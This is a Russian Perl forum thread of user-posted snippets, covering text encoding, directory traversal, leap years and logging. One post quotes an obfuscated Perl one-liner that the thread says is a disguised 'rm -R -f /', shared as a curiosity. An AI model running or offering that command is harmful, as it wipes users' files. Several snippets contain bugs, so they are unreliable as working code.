Перейти из форума на сайт.


Система IP-видеонаблюдения "Линия". Скачать бесплатную демо-версию для 16 камер. НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Perl: Полезные решения

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8

Открыть новую тему     Написать ответ в эту тему

Anton_Y



Full Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Итак.. Предлагаю создать на форуме топик где будут размещатся различные решения различных задач (типа библиотека функций).
Размещать рекомендуется с описанием (что этот код делае), с описанием переменных (желательно use strict)
p.s. размещать не обязательно свои исходники..  
мой скомный вклад.. (что сумел вспомнить:) )
 
  • исключение из массива повторяющихся записей (аналог distinct в sql) Подробнее...
  •  рекурсивный обход папок Подробнее...
  • Исключение из массива данных встречающихся в другом массиве Подробнее...
  • Perl: Перекодировка кириллического текста (win/koi/iso/utf)
  • Приведение регистра текста к нормально виду Подробнее...
  • Замена строки (выражения) в большом количестве файлов на другое Подробнее...
     
     
     
    p.s. для профи конечно это капля в море, но для новичков своеобразный faq. И предлагаю эту тему приклеить, чтобы она всегда была вверху..
    p.p.s. и постите свои фишки сюда..  

    Никаких вопросов! Только решения!

     
    Perl Cookbook on-line http://pleac.sourceforge.net/pleac_perl/index.html  
    DevShed Perl Articles http://www.devshed.com/c/a/Perl/

  • Всего записей: 578 | Зарегистр. 04-09-2002 | Отправлено: 07:12 14-07-2004 | Исправлено: Cheery, 23:38 01-03-2008
    Oleg_de



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Пример Screenshot Tool:
    не от меня и не совсем оптимален, но ... работает
     

    Код:
     
    #!perl -w
    use strict;
    use Win32::API;
    use Imager;
    use Imager::Screenshot 'screenshot';
     
    # delay so I can bring the window to the front
    #sleep 2;
     
    # get the API
    my $find_window = Win32::API->new('user32', 'FindWindowA', 'NP', 'N') || print "Cannot import FindWindow\n";
     
     
    # get the window, this requires an exact match on the window title
    my $hwnd = $find_window->Call(0, "use Perl: All the Perl that's Practical to Extract and Report - Mozilla Firefox");
     
    #$hwnd || print  "Mozilla window not found";
     
       
    # take a picture, including the border and title bar
    my $img = screenshot(hwnd => $hwnd, decor=>1) || print Imager->errstr;
     
       
    my $file=time().".ppm";
    # and save it
    $img->write(file=>"$file") || print $img->errstr;
     
     


    ----------
    Германия глазами переселенцев и мигрантов ...

    Всего записей: 333 | Зарегистр. 03-09-2001 | Отправлено: 19:48 20-07-2007 | Исправлено: Oleg_de, 18:59 03-01-2008
    Anton_Y



    Full Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Понадобилось тут в готовые .rtf шаблоны внести кое какой текст.. ну и решил писать прямо туда но для этого надо было текст привести к виду понятному этому формату
     
    на вход строка обычного текста, на выходе то как она должна присутствовать в rtf файле
     

    Код:
     
    sub rus2rtf{
        my @rtf=('\\\'c9','\\\'d6','\\\'d3','\\\'ca','\\\'c5','\\\'cd','\\\'c3','\\\'d8','\\\'d9','\\\'c7','\\\'d5','\\\'da','\\\'d4','\\\'db','\\\'c2','\\\'c0','\\\'cf','\\\'d0','\\\'ce','\\\'cb','\\\'c4','\\\'c6','\\\'dd','\\\'df','\\\'d7','\\\'d1','\\\'cc','\\\'c8','\\\'d2','\\\'dc','\\\'c1','\\\'de','\\\'a8','\\\'e9','\\\'f6','\\\'f3','\\\'ea','\\\'e5','\\\'ed','\'e3','\\\'f8','\\\'f9','\\\'e7','\\\'f5','\\\'fa','\\\'f4','\\\'fb','\\\'e2','\\\'e0','\\\'ef','\\\'f0','\\\'ee','\\\'eb','\\\'e4','\\\'e6','\\\'fd','\\\'ff','\\\'f7','\\\'f1','\\\'ec','\\\'e8','\\\'f2','\\\'fc','\\\'e1','\\\'fe','\\\'b8');
        my @rus=('Й','Ц','У','К','Е','Н','Г','Ш','Щ','З','Х','Ъ','Ф','Ы','В','А','П','Р','О','Л','Д','Ж','Э','Я','Ч','С','М','И','Т','Ь','Б','Ю','Ё','й','ц','у','к','е','н','г','ш','щ','з','х','ъ','ф','ы','в','а','п','р','о','л','д','ж','э','я','ч','с','м','и','т','ь','б','ю','ё');
         
        my $input=shift;
         
        my @letters=split //,$input;
         
        for (my $i=0;$i<=scalar @letters;$i++)
        {
            for (my $ii = 0; $ii < $#rus; $ii++)
            {
                if ($letters[$i] eq $rus[$ii])
                    {
                        $letters[$i]=$rtf[$ii];
                    }
            }
        }
        my $temp=join '',@letters;
        return $temp;
    }
     
     

    Всего записей: 578 | Зарегистр. 04-09-2002 | Отправлено: 09:22 16-11-2007
    Oleg_de



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Anton_Y

    Код:
     
    это приведём к Hash форме:
        my @rtf=('\\\'c9','\\\'d6','\\\'d3','\\\'ca','\\\'c5','\\\'cd','\\\'c3','\\\'d8','\\\'d9','\\\'c7','\\\'d5','\\\'da','\\\'d4','\\\'db','\\\'c2','\\\'c0','\\\'cf','\\\'d0','\\\'ce','\\\'cb','\\\'c4','\\\'c6','\\\'dd','\\\'df','\\\'d7','\\\'d1','\\\'cc','\\\'c8','\\\'d2','\\\'dc','\\\'c1','\\\'de','\\\'a8','\\\'e9','\\\'f6','\\\'f3','\\\'ea','\\\'e5','\\\'ed','\'e3','\\\'f8','\\\'f9','\\\'e7','\\\'f5','\\\'fa','\\\'f4','\\\'fb','\\\'e2','\\\'e0','\\\'ef','\\\'f0','\\\'ee','\\\'eb','\\\'e4','\\\'e6','\\\'fd','\\\'ff','\\\'f7','\\\'f1','\\\'ec','\\\'e8','\\\'f2','\\\'fc','\\\'e1','\\\'fe','\\\'b8');
        my @rus=('Й','Ц','У','К','Е','Н','Г','Ш','Щ','З','Х','Ъ','Ф','Ы','В','А','П','Р','О','Л','Д','Ж','Э','Я','Ч','С','М','И','Т','Ь','Б','Ю','Ё','й','ц','у','к','е','н','г','ш','щ','з','х','ъ','ф','ы','в','а','п','р','о','л','д','ж','э','я','ч','с','м','и','т','ь','б','ю','ё');
         
    my %ru;
    for (my $i=0;$i<=$#rtf;$i++){ $ru{$rus[$i]}=$rtf[$i]; }
     
     
    a teper' ukorotim:'
        my $input=shift;
        my @letters=split //,$input;
     
    for (my $i=0;$i<=$#letters;$i++){
        if (exists $ru{$letters[$i]}){ $letters[$i]=$rtf[$i]; }
    }



    ----------
    Германия глазами переселенцев и мигрантов ...

    Всего записей: 333 | Зарегистр. 03-09-2001 | Отправлено: 12:18 20-11-2007
    kronic

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Кто нить знает как можно разбить массив содержащий несколько строк на массив по словам разделитель пробел  




    Эта тема не для вопросов /Cheery/

    Всего записей: 168 | Зарегистр. 01-11-2006 | Отправлено: 15:54 22-11-2007 | Исправлено: Cheery, 22:40 22-11-2007
    wellic

    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    kronic

    Цитата:
     
    Кто нить знает как можно разбить массив содержащий несколько строк на массив по словам разделитель пробел    

     
    @arr_words = split(/s+/,join(' ',@arr_sentence));

    Всего записей: 339 | Зарегистр. 06-05-2002 | Отправлено: 16:57 22-11-2007
    Oleg_de



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    kronic
    граница слова: \b
    пример: /Вася\b/ - найдёт Вася, но не Вася|нь

    ----------
    Германия глазами переселенцев и мигрантов ...

    Всего записей: 333 | Зарегистр. 03-09-2001 | Отправлено: 17:26 22-11-2007
    kronic

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    wellic
    что то не правильно работает

    Всего записей: 168 | Зарегистр. 01-11-2006 | Отправлено: 17:37 22-11-2007
    wellic

    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Сорри не досмотрел
     

    Код:
    @arr_words = split(/\s+/,join(' ',@arr_sentence));
     
     
    косая черта возле s+
     
    Example:

    Код:
    @arr_sentence = ('This is sentense1','This is sentense2');
    @arr_words = split(/\s+/,join(' ',@arr_sentence));  
     
    print $_, "\n" foreach (@arr_words);

     
    Output:

    Код:
    This
    is
    sentense1
    This
    is
    sentense2


    Всего записей: 339 | Зарегистр. 06-05-2002 | Отправлено: 18:12 22-11-2007 | Исправлено: wellic, 18:14 22-11-2007
    fantome



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    может не совсем полезное решение, но все же  

    Цитата:
    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    это замаскированный
    Цитата:
    rm -R -f /

     
    вот ссылка откуда взял http://www.linux.org.ru/view-message.jsp?msgid=392747&page=5

    Всего записей: 648 | Зарегистр. 09-06-2006 | Отправлено: 07:18 01-12-2007 | Исправлено: fantome, 07:18 01-12-2007
    Cheery



    .:МордератоР:.
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    fantome
    Об этом знают все нормальные программисты на perl

    ----------
    Away/DND

    Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 20:53 01-12-2007
    arreke



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Скрипт начинается так:  
    Подробнее...
    Надо понимать нехватает нужного пакета, а где его достать?
    Установлен ActivePerl 5.10, операционка Windows XP SP2.
    Подробнее...




    Никаких вопросов, только решения /Cheery/

    Всего записей: 98 | Зарегистр. 11-01-2007 | Отправлено: 15:32 01-03-2008 | Исправлено: Cheery, 23:39 01-03-2008
    can1060



    Newbie
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    нехватает нужного пакета, а где его достать?  

     
    Посмотрите здесь:
    http://cpan.org/modules/index.html

    Всего записей: 16 | Зарегистр. 17-08-2004 | Отправлено: 10:34 03-03-2008
    arreke



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Долго не мог разобраться как установить модуль Text-Iconv на ActivePerl под WinXP.
    Он не входит в стандартный пакет, а в инете в основном под линукс.
    Вообщем разобрался, вот так надо делать:
    Пуск->Выполнить, набираем "ppm install http://theoryx5.uwinnipeg.ca/ppms/Text-Iconv.ppd", и попёрла установка.
     
    Это чтобы другие не тратили лишнее время на поиски, как потратил я.

    Всего записей: 98 | Зарегистр. 11-01-2007 | Отправлено: 11:08 03-03-2008
    Cheery



    .:МордератоР:.
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    can1060
    arreke
    Вам что, по отдельному предупреждению надо выписать?  
    Еще раз, для тех, кто плохо понимает русский язык - тут НЕ задают вопросов!
     

    Цитата:
    Это чтобы другие не тратили лишнее время на поиски, как потратил я.

    потому что не пользуемся фильтром
    мусолили не раз уже
    Как добавить модуль в Perl


    ----------
    Away/DND

    Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 19:52 03-03-2008 | Исправлено: Cheery, 19:52 03-03-2008
    tolyn77



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    подскажите можно как нибудь сделать обратный порядок  readdir?
    так не получается

    Код:
     
    opendir (DIR, $dirname ) or die "can't opendir $dirname: $!";
    while (defined(my $file = (reverse (readdir(DIR))))) {
        foreach my $imgext (@ext) {
            if ( $file =~ /\.$imgext/i ) {
                print "$file\n";
            }
        }
    }
     

     
    упс, сорри на самом деле нельзя задавать вопросы

    Всего записей: 1468 | Зарегистр. 07-09-2004 | Отправлено: 08:55 15-04-2008 | Исправлено: tolyn77, 10:53 15-04-2008
    arreke



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    если я тебя правильно понял, попробуй вот так,
     

    Код:
     
    opendir(DIR, $dirName) || return print_error("can't opendir $dirName: $!");
    my @files = grep { !/^\./ } readdir(DIR);
    closedir DIR;
    @files .= reverse;
     

     
    и ещё, ты с разделом перепутал, посмотри на предупреждение Cheery сверху.

    Всего записей: 98 | Зарегистр. 11-01-2007 | Отправлено: 09:37 15-04-2008 | Исправлено: arreke, 09:40 15-04-2008
    Oleg_Tarusov



    Junior Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    календарик с учетом высокосного года

    Код:
     
    @month=qw(январь февраль март апрель май июнь июль август сентябрь октябрь ноябрь декабрь);
    @mdays = qw(31 28 31 30 31 30 31 31 30 31 30 31); if (($newyear % 4) == 0) { $mdays[1] = 29; }
    for $newmon (0..11) {
      print "$month[$newmon]";
      for (0..$mdays[$newmon]) { print "$_"; }
    }  
     

     

     
    Високосный год посложнее вычисляется.  
     
    Если год делится на 4, то он может быть високосным.
    Если год делится на 100 и не делится на 400, то он не високосный.
     
    Таким образом 1900 не был високосным (делится на 100, но не делится 400).
    2000 был високосный (делится на 100 и делится на 400)
    2100 - невисокосный (делится на 100 и не делится на 400)
     
    Таким образом:

    Код:
     
    @mdays = qw(31 28 31 30 31 30 31 31 30 31 30 31);  
    if (($newyear % 4) == 0) {  
        if ($newyear % 100 != 0) {    
            $mdays[1] = 29;
        } elsif ($newyear % 400 == 0) {
            $mdays[1] = 29;
        }  
    }
    for $newmon (0..11) {
        print "$month[$newmon]";
        for (0 .. $mdays[$newmon]) {  
            print "$_";  
        }
    }

     
    =====================================================
    Приведу пример расстановки пробелов в числе одним регулярным выражением.

    Код:
     
    $digit = '1234567890';
    $digit =~ s/(\d)(?=(\d{3}+)*$)/\1 /g;
    print $digit;
     

     
    Выведет:
    1 234 567 890
     
    Позаимствовано с intuit.ru
     
    Добавлено:
    Рекурсивный обход папок без рекурсии, а с применением очереди.
    Обход происходит в ширину.
     

    Код:
    #!F:/perl/bin/perl.exe -w
    use Cwd;
    $dir = 'a';#<- имя папки
    @queue = ($dir);#Очередь для хранения папок
    while (@queue) {#Пока в очереди что-то есть
        my $dir = shift @queue;#Вынимаем первый элемент из очереди
        chdir $dir;#Переходим в эту папку    
        my $path = getcwd;#Определяем полный путь до папки
        #Выведем путь
        print "${path}\n=============\n";    
        opendir DIR, '.';    
        while (my $file = readdir DIR) {
            next if ($file eq '.' || $file eq '..');
            push @queue, "${path}/${file}" if (-d $file);#Если встретилась папка, кладем её в конец очереди
            #Ниже делаем, то что нужно с файлом
            print $file;
            print "\n";
        }
        print "=============\n";
        closedir DIR;
    }
     

     
    Пример вывода:
     
    F:/perl programs/a
    =============
    a.txt
    b
    b.txt
    c.txt
    d
    =============
    F:/perl programs/a/b
    =============
    c
    d.txt
    e.txt
    =============
    F:/perl programs/a/d
    =============
    g.txt
    h.txt
    =============
    F:/perl programs/a/b/c
    =============
    =============

    Всего записей: 175 | Зарегистр. 25-02-2006 | Отправлено: 23:25 03-07-2008 | Исправлено: Oleg_Tarusov, 00:34 04-07-2008
    Anton_Y



    Full Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    вот тут есть некоторое количество разных решений - http://anonym.to/?http://forum.dklab.ru/perl/advises/

    Всего записей: 578 | Зарегистр. 04-09-2002 | Отправлено: 18:22 30-07-2008
    CheRt



    Advanced Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Выкладываю набросок логирования "для ленивых", просто как идею, кого заинтересует, тот поймет
     

    Код:
     
    package loger;
     
    sub new {
        my $class = shift;
        my %param = @_;
     
        my $self = bless {
            DIR    => $param{DIR},
            ERROR  => $param{ERROR}  || 'error.log',
            ACTION => $param{ACTION} || 'action.log',
            AUTH   => $param{AUTH}   || 'auth.log',
            WARNING=> $param{WARN}   || 'warn.log',
            DEBUG  => $param{DEBUG}  || 0
        }, $class;
     
        $SIG{__DIE__}  = sub { $self->log_on_die(shift); };
        $SIG{__WARN__} = sub { $self->log_on_warn(shift); };
        $SIG{QUIT}     = sub { $self->log_on_quit(shift); };
     
        return $self;
    }
     
    sub log_on_die {
        my $self = shift;
        my $message = shift;
        chomp($message);
     
        open(LF, '>>' . $self->error);
            print LF '[', scalar(localtime), "] $message\n";
        close(LF);
     
        $self->print_error($message);
    }
     
    sub log_on_warn {
        my $self = shift;
        my $message = shift;
        chomp($message);
     
        open(LF, '>>' . $self->warning);
            print LF '[', scalar(localtime), "] $message\n";
        close(LF);
    }
     
    sub log_on_quit {
        my $self  = shift;
        my $rcode = shift;
        chomp($rcode);
     
        open(LF, '>>' . $self->action);
            print LF '[', scalar(localtime), "] quiting with code $rcode\n";
        close(LF);
    }
     
    sub log_on_action {
        my $self  = shift;
        my $message = shift;
        chomp($message);
     
        open(LF, '>>' . $self->action);
            print LF '[', scalar(localtime), "] action log\n";
        close(LF);
    }
     
    sub print_error {
        my $self = shift;
        my $message = shift;
        chomp($message);
     
        my $template = template();
        $template =~ s/<!-- HEADER -->/System died with message:/s;
        $template =~ s/<!-- MESSAGE -->/$message/s;
        my $env = $self->debug ?  
              join("\n", map { "  $_ => $ENV{$_}" } sort keys %ENV)
              : '';
        my $sig = $self->debug ?  
                  join("\n", map { "  $_ => $SIG{$_}" } sort keys %SIG)
                  : '';
     
        $template =~ s/<!-- ENVINFO -->/$env/s;
        $template =~ s/<!-- SIGINFO -->/$sig/s;
        print $template;
        exit(0);
    }
     
    sub dir {
        return shift->{DIR};
    }
     
    sub error {
        my $self = shift;
        return $self->dir.'/'.$self->{ERROR};
    }
     
    sub action {
        my $self = shift;
        return $self->dir.'/'.$self->{ACTION};
    }
     
    sub auth {
        my $self = shift;
        return $self->dir.'/'.$self->{AUTH};
    }
     
    sub warning {
        my $self = shift;
        return $self->dir.'/'.$self->{WARNING};
    }
     
    sub debug {
        return shift->{DEBUG};
    }
     
    sub template {
        return <<"TEMPLATE";
    Content-type:text/html;
     
     
    <html>
      <head>
        <title>System error</title>
        <style>
    body, html {
      font: 12px Verdana;
      color: #404040;
      padding: 20px;
      margin: 0px;
    }
    textarea {
      width: 600px;
      height: 200px;
      margin: 10px;
      font: 11px Verdana;
      border: 1px #000000 Solid;
      background-color: #F0F0F0;
    }
    font.error {
      font: 15px Comic Sans MS;
      color: #900000;
    }
        </style>
      </head>
      <body>
        <h1><!-- HEADER --></h1><br/>
        <font class="error"><!-- MESSAGE --></font><br/><br/>
        Enviropment:<br/>
        <textarea><!-- ENVINFO --></textarea><br/>
     
        Signals:<br/>
        <textarea><!-- SIGINFO --></textarea>
      </body>
    </html>
    TEMPLATE
    }
     
    sub DESTROY { }
     
    1;
     


    ----------
    В огне бода нет и не будет!
    До встречи в СССР 2.0!

    Всего записей: 1118 | Зарегистр. 14-12-2001 | Отправлено: 16:05 04-08-2008 | Исправлено: CheRt, 16:07 04-08-2008
    Oleg_de



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Хотите воспользоватся функцией quote Модуля DBI не соединяясь с Базой
    например, составить SQL каталог из текстового файла, воспользуйтесть функцией так:
     
    $string= DBD::_::db::quote(undef,$string);


    ----------
    Германия глазами переселенцев и мигрантов ...

    Всего записей: 333 | Зарегистр. 03-09-2001 | Отправлено: 14:36 10-09-2008
    Открыть новую тему     Написать ответ в эту тему

    Страницы: 1 2 3 4 5 6 7 8

    Компьютерный форум Ru.Board » Интернет » Web-программирование » Perl: Полезные решения

    Имя:
    Пароль:
    Сообщение

    Для вставки имени, кликните на нем.

    Опции сообщенияДобавить свою подпись
    Подписаться на получение ответов по e-mail
    Добавить тему в личные закладки
    Разрешить смайлики?
    Запретить коды


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.Board
    © Ru.Board 2000-2017

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru